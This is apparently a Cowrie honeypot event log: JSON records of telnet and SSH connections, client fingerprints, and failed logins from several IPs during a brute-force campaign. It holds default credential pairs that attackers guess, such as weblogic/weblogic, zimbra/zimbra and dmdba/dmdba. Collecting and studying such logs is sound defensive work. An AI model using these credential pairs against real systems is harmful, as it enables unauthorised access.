{"eventid":"cowrie.session.closed","duration":6.58178448677063,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:48.667201Z","src_ip":"65.60.27.33","session":"64a3e0058e13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.91.64.6","src_port":60023,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eece32636ef","protocol":"ssh","message":"New connection: 45.91.64.6:60023 (10.17.0.5:22) [session: 5eece32636ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:48.684529Z"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:48.769603Z","src_ip":"176.65.132.254","session":"bf2890c25656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:48.816263Z","src_ip":"45.91.64.6","session":"5eece32636ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50672,"dst_ip":"10.17.0.5","dst_port":23,"session":"da3bfc677488","protocol":"telnet","message":"New connection: 65.60.27.33:50672 (10.17.0.5:23) [session: da3bfc677488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:49.457630Z"}
{"eventid":"cowrie.session.closed","duration":35.24334692955017,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:49.633325Z","src_ip":"62.210.97.77","session":"32804571ec49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:49.856946Z","src_ip":"176.65.132.254","session":"bf2890c25656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52528,"dst_ip":"10.17.0.5","dst_port":23,"session":"9322a8122674","protocol":"telnet","message":"New connection: 65.60.27.33:52528 (10.17.0.5:23) [session: 9322a8122674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:51.255581Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59540,"dst_ip":"10.17.0.5","dst_port":23,"session":"38751b3ea2ec","protocol":"telnet","message":"New connection: 62.210.97.77:59540 (10.17.0.5:23) [session: 38751b3ea2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:51.401782Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59542,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7781434fb09","protocol":"telnet","message":"New connection: 62.210.97.77:59542 (10.17.0.5:23) [session: a7781434fb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:51.516109Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59556,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c8ed93e4810","protocol":"telnet","message":"New connection: 62.210.97.77:59556 (10.17.0.5:23) [session: 0c8ed93e4810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:51.854881Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53484,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6dd59239572","protocol":"ssh","message":"New connection: 176.65.132.254:53484 (10.17.0.5:22) [session: c6dd59239572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:52.457442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:52.461622Z","src_ip":"176.65.132.254","session":"c6dd59239572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:52.544224Z","src_ip":"176.65.132.254","session":"c6dd59239572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:52.793171Z","src_ip":"176.65.132.254","session":"c6dd59239572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.67673444747925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:53.353787Z","src_ip":"62.210.97.77","session":"88db4f390c01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:53.878757Z","src_ip":"176.65.132.254","session":"c6dd59239572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59572,"dst_ip":"10.17.0.5","dst_port":23,"session":"31a7a4d68002","protocol":"telnet","message":"New connection: 62.210.97.77:59572 (10.17.0.5:23) [session: 31a7a4d68002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:53.932181Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47508,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced63a9c7f51","protocol":"telnet","message":"New connection: 134.209.8.29:47508 (159.203.135.109:23) [session: ced63a9c7f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:54.049686Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50998,"dst_ip":"10.17.0.5","dst_port":23,"session":"fade7d7df328","protocol":"telnet","message":"New connection: 38.54.119.93:50998 (10.17.0.5:23) [session: fade7d7df328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:54.063560Z"}
{"eventid":"cowrie.session.closed","duration":38.2372522354126,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:54.747009Z","src_ip":"62.210.97.77","session":"ef307837d15b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.268014192581177,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:55.523453Z","src_ip":"65.60.27.33","session":"9322a8122674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.8633759021759,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:55.855690Z","src_ip":"65.60.27.33","session":"edd232111de2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53496,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71bb3d1a8f8","protocol":"ssh","message":"New connection: 176.65.132.254:53496 (10.17.0.5:22) [session: a71bb3d1a8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:56.675061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:56.679812Z","src_ip":"176.65.132.254","session":"a71bb3d1a8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78491187095642,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:56.697143Z","src_ip":"62.210.97.77","session":"c315f3a92c67","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:56.762851Z","src_ip":"176.65.132.254","session":"a71bb3d1a8f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58854,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea8570dd2da","protocol":"telnet","message":"New connection: 65.60.27.33:58854 (10.17.0.5:23) [session: 6ea8570dd2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:56.905825Z"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:57.012705Z","src_ip":"176.65.132.254","session":"a71bb3d1a8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.88781952857971,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:57.227704Z","src_ip":"62.210.97.77","session":"999a6c99bb17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59586,"dst_ip":"10.17.0.5","dst_port":23,"session":"2053534cb795","protocol":"telnet","message":"New connection: 62.210.97.77:59586 (10.17.0.5:23) [session: 2053534cb795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:57.240025Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":36280,"dst_ip":"10.17.0.5","dst_port":22,"session":"110e4c1a663f","protocol":"ssh","message":"New connection: 45.78.198.206:36280 (10.17.0.5:22) [session: 110e4c1a663f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:57.427774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:57.432972Z","src_ip":"45.78.198.206","session":"110e4c1a663f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:57.666739Z","src_ip":"45.78.198.206","session":"110e4c1a663f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59590,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7c899a0f454","protocol":"telnet","message":"New connection: 62.210.97.77:59590 (10.17.0.5:23) [session: a7c899a0f454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:57.888824Z"}
{"eventid":"cowrie.session.closed","duration":37.04311156272888,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:57.917790Z","src_ip":"62.210.97.77","session":"158e9cd33586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:58.097565Z","src_ip":"176.65.132.254","session":"a71bb3d1a8f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59594,"dst_ip":"10.17.0.5","dst_port":23,"session":"591ca3dfbfea","protocol":"telnet","message":"New connection: 62.210.97.77:59594 (10.17.0.5:23) [session: 591ca3dfbfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:58.352457Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59608,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c02e385e6be","protocol":"telnet","message":"New connection: 62.210.97.77:59608 (10.17.0.5:23) [session: 4c02e385e6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:58.435407Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"12","message":"login attempt [testuser/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:59.220462Z","src_ip":"45.78.198.206","session":"110e4c1a663f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.04030394554138,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:59.420565Z","src_ip":"62.210.97.77","session":"287d2595ae9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.820141077041626,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:00.435019Z","src_ip":"62.210.97.77","session":"86065ac01ca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:00.459116Z","src_ip":"45.78.198.206","session":"110e4c1a663f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33312,"dst_ip":"10.17.0.5","dst_port":23,"session":"e17824a28dd0","protocol":"telnet","message":"New connection: 62.210.97.77:33312 (10.17.0.5:23) [session: e17824a28dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:00.512245Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33324,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2922cd1cabb","protocol":"telnet","message":"New connection: 62.210.97.77:33324 (10.17.0.5:23) [session: c2922cd1cabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:00.831588Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53504,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9e777131ac3","protocol":"ssh","message":"New connection: 176.65.132.254:53504 (10.17.0.5:22) [session: e9e777131ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:00.855113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:00.860286Z","src_ip":"176.65.132.254","session":"e9e777131ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:00.942542Z","src_ip":"176.65.132.254","session":"e9e777131ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:01.195863Z","src_ip":"176.65.132.254","session":"e9e777131ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.00386381149292,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:01.862010Z","src_ip":"62.210.97.77","session":"fe6fb33c0486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:02.280467Z","src_ip":"176.65.132.254","session":"e9e777131ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33334,"dst_ip":"10.17.0.5","dst_port":23,"session":"d56fafc573ee","protocol":"telnet","message":"New connection: 62.210.97.77:33334 (10.17.0.5:23) [session: d56fafc573ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:02.597533Z"}
{"eventid":"cowrie.session.closed","duration":39.05594086647034,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:03.372806Z","src_ip":"62.210.97.77","session":"45714d04e894","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.14394807815552,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:04.298105Z","src_ip":"62.210.97.77","session":"3cfa30f5012f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48268,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6e4b00c2bb3","protocol":"ssh","message":"New connection: 176.65.132.254:48268 (10.17.0.5:22) [session: e6e4b00c2bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:04.905108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:04.910722Z","src_ip":"176.65.132.254","session":"e6e4b00c2bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:04.993555Z","src_ip":"176.65.132.254","session":"e6e4b00c2bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:05.242071Z","src_ip":"176.65.132.254","session":"e6e4b00c2bb3","protocol":"ssh"}
